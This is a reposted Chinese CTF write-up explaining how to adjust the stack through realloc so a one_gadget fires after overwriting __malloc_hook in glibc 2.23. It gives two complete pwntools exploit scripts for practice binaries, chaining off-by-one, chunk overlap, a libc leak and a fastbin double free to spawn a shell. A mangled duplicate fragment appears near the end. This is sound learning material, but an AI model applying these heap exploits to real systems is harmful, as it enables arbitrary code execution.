ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

利用realloc调整栈使one_gadget生效

2022-02-21 10:59:04  阅读:225  来源: 互联网

标签:malloc 栈使 libc realloc gadget hook sendline new recvuntil


前言

当堆题保护全开的时候。PIE保护几乎使得unlink失效(除非能够计算出程序基址),FULL RELEO也使得函数GOT表不可修改。此时常覆盖各种函数的hook为one_gadget来getshell。

我常考虑的顺序是:

free_hook->malloc_hook->IO_FILE->exit_hook

若有沙盒限制,则考虑setcontext

free_hook不可打时(例如Fastbin Attack时free_hook前不能构造字节错位),我们往往就会打malloc_hook。此篇文章基于将malloc_hook覆盖为one_gadget,且one_gadget全失效的情况,如何用realloc的小trick调整栈,使得one_gadget可执行。

one_gadget成功条件

以64位libc-2.23.so为例,各个one_gadget生效的条件如下:

1

如图,0x4526a的one_gadget生效条件为:[rsp+0x30]==NULL。

要使该one_gadget生效,只需让rsp+0x30位置处数据为NULL即可。

realloc函数分析

realloc函数与malloc,free等函数执行流程一致,

均为:检查其对应hook是否为NULL,若不为NULL,则调用相应hook。

不同的是,realloc函数相较于malloc与free,多了很多push和sub操作,我们可以通过这个来达到调整栈的目的。

以64位libc-2.23.so为例,将libc-2.23.so拖进IDA,找到realloc函数:

2

因此我们可以用realloc_addr+offset的方式来调整栈,offset可取0,2,4,6,12,13。依次减少了push的次数。push指令会减小rsp的值,减少push指令个数相当于抬高栈,有利于满足rsp+0x30==NULL。

利用过程

realloc_hook覆盖为one_gadget,然后将malloc_hook覆盖为realloc_addr+offset

这样劫持后的实际运行顺序:

malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget

例题

roarctf_2019_easy_pwn

程序分析

  • 保护全开
  • edit函数中:若满足输入长度等于申请堆块大小+10,则有一个off by one漏洞
  • free_hook可打,可以构造字节错位,但是不知道为什么莫名其妙会报错。

pwn

很简单的一道题,具体流程:

  • off by one 构造 chunk extend
  • 在大堆块中构建一个fake_chunk,free掉这个fake_chunk(大小得能落入unsortedbin),通过show大堆块,泄露libc基址
  • 通过Fastbin Double Free和Arbitrary Alloc打malloc_hook

关于offset的选择

可以调试,不过具体调试起来,并不是少一个push,就达到[rsp+0x20]=[rsp+0x28]的效果,少部分的某些地址可能还是会被写入其他值,因此一个一个试比较快/doge。

exp

from pwn import *

context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
elf =  ELF('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23-64.so')

def new(size):
    r.recvuntil(b"choice: ")
    r.sendline(b'1')
    r.recvuntil(b"size: ")
    r.sendline(str(size))

def edit(id,size,content):
    r.recvuntil(b"choice: ")
    r.sendline(b'2')
    r.recvuntil(b"index: ")
    r.sendline(str(id))
    r.recvuntil(b"size: ")
    r.sendline(str(size))
    r.recvuntil(b"content: ")
    r.sendline(content)

def delete(id):
    r.recvuntil(b"choice: ")
    r.sendline(b'3')
    r.recvuntil(b"index: ")
    r.sendline(str(id))

def show(id):
    r.recvuntil(b"choice: ")
    r.sendline(b'4')
    r.recvuntil(b"index: ")
    r.sendline(str(id))

## leak_libc 
new(0x18)
new(0x20)
new(0x80)
# new(0x10)
# new(0x10)
new(0x10)

edit(0,0x18+10,b'a'*(0x10)+p64(0)+b'\xc1')
delete(1)
new(0xb0)
fake_chunk = p64(0)+p64(0x91)+p64(0)*0x10
edit(1,0xb0,b'a'*0x20+fake_chunk)
delete(2)
show(1)
r.recvuntil(b'a'*0x20)
r.recv(0x10)
libc.address = u64(r.recv(6).ljust(8,b'\0'))-0x3C4B78

free_hook = libc.symbols["__free_hook"]

new(0x80)

#fastbin attack
new(0x18)#id:4
new(0x10)#id:5
new(0x60)#id:6
new(0x10)#id:7
malloc_hook = libc.symbols["__malloc_hook"]
realloc = libc.symbols["realloc"]
fake_fd1 = malloc_hook - 0x1b - 0x8
fake_fd = free_hook-0xb-0x8
edit(4,0x18+10,b'a'*0x10+p64(0)+b'\x91')
delete(5)
new(0x80)
edit(5,0x20,b'a'*0x10+p64(0)+p64(0x71))
delete(6)
edit(5,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(fake_fd1))
new(0x60)

new(0x60)

one_gadget = libc.address + 0xf02a4
edit(8,0x1b,b'a'*(0xb)+p64(one_gadget)+p64(realloc))

log.success("free_hook:"+hex(free_hook))
log.success("malloc_hook:"+hex(malloc_hook))
log.success("one_gadget:"+hex(one_gadget))
log.success("libc_base: "+hex(libc.address))
new(0x10)
# r.sendline(b'cat flag')                      

r.interactive()

vn_pwn_simpleHeap

直接放exp了,有兴趣的可以去做一做,有一个注意点:

通过edit修改堆块内容后,程序会在最后一个字节置’\0’截止符,这会导致libc基址泄露失败。

所以我的想法是:

①:off by one 构造chunk overlapping,free掉大堆块中的小堆块(unsortedbin)。

②:free掉大堆块,再申请回大堆块,用申请堆块时输入内容的功能代替edit功能,一直输入到小堆块fd指针前一个字节。

③:用show功能里的%s泄露出libc基址。

exp

from pwn import*
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
r = process('/mnt/hgfs/ubuntu/BUUCTF/vn_pwn_simpleHeap')
# r = remote('node4.buuoj.cn',28646)
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23.so')

def new(size,content):
    r.recvuntil(b"choice: ")
    r.sendline(b'1')
    r.recvuntil(b"size?")
    r.sendline(str(size))
    r.recvuntil(b"content:")
    r.send(content)
    r.recvuntil(b"Done!")

def edit(index,content):
    r.recvuntil(b"choice: ")
    r.sendline(b'2')
    r.recvuntil(b"idx?")
    r.sendline(str(index))
    r.recvuntil(b"content:")
    r.sendline(content)
    r.recvuntil(b"Done!")

def show(index):
    r.recvuntil(b"choice: ")
    r.sendline(b'3')
    r.recvuntil(b"idx?")
    r.sendline(str(index))

def delete(index):
    r.recvuntil(b"choice: ")
    r.sendline(b'4')
    r.recvuntil(b"idx?")
    r.sendline(str(index))
    r.recvuntil(b"Done!")

new(0x28,b'a'*0x28)#0
new(0x28,b'b'*0x28)#1
new(0x28,b'c'*0x28)#2
new(0x50,b'd'*0x50)#3
new(0x28,b'\0')#4
new(0x28,b'\0')#5
new(0x28,b'\0')#6
new(0x38,b'\0')#7
new(0x60,b'\0')#8
new(0x10,b'\0')#9
edit(0,b'a'*0x28+b'\x61')
delete(1)
new(0x50,b'b'*0x28+p64(0x91))#1
delete(2)
delete(1)
new(0x50,b'b'*0x30)#1
show(1)#woc
r.recvuntil(b'b'*0x30)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_gadget = libc_base+0x4526a
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
realloc_hook=libc_base+libc.symbols['__libc_realloc']
edit(4,b'a'*0x28+b'\x61')
delete(5)
new(0x50,b'\0'*0x28+p64(0x71))
delete(8)
delete(6)
edit(2,b'a'*0x28+p64(0x71)+p64(malloc_hook-0x1b-0x8))
new(0x60,b'aaaa')
new(0x60,b'a'*0xb+p64(one_gadget)+p64(realloc_hook+13))
log.success("malloc_hook:"+hex(malloc_hook))
log.success("one_gadget:"+hex(one_gadget))

r.recvuntil(b"choice: ")
r.sendline(b"1")
gdb.attach(r,'b malloc')
r.sendlineafter(b"size?", b"16")
r.interactive()

0xb+p64(one_gadget)+p64(realloc_hook+13))
log.success(“malloc_hook:”+hex(malloc_hook))
log.success(“one_gadget:”+hex(one_gadget))

r.recvuntil(b"choice: “)
r.sendline(b"1”)
gdb.attach(r,‘b malloc’)
r.sendlineafter(b"size?", b"16")
r.interactive()




标签:malloc,栈使,libc,realloc,gadget,hook,sendline,new,recvuntil
来源: https://blog.csdn.net/Invin_cible/article/details/123042819

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有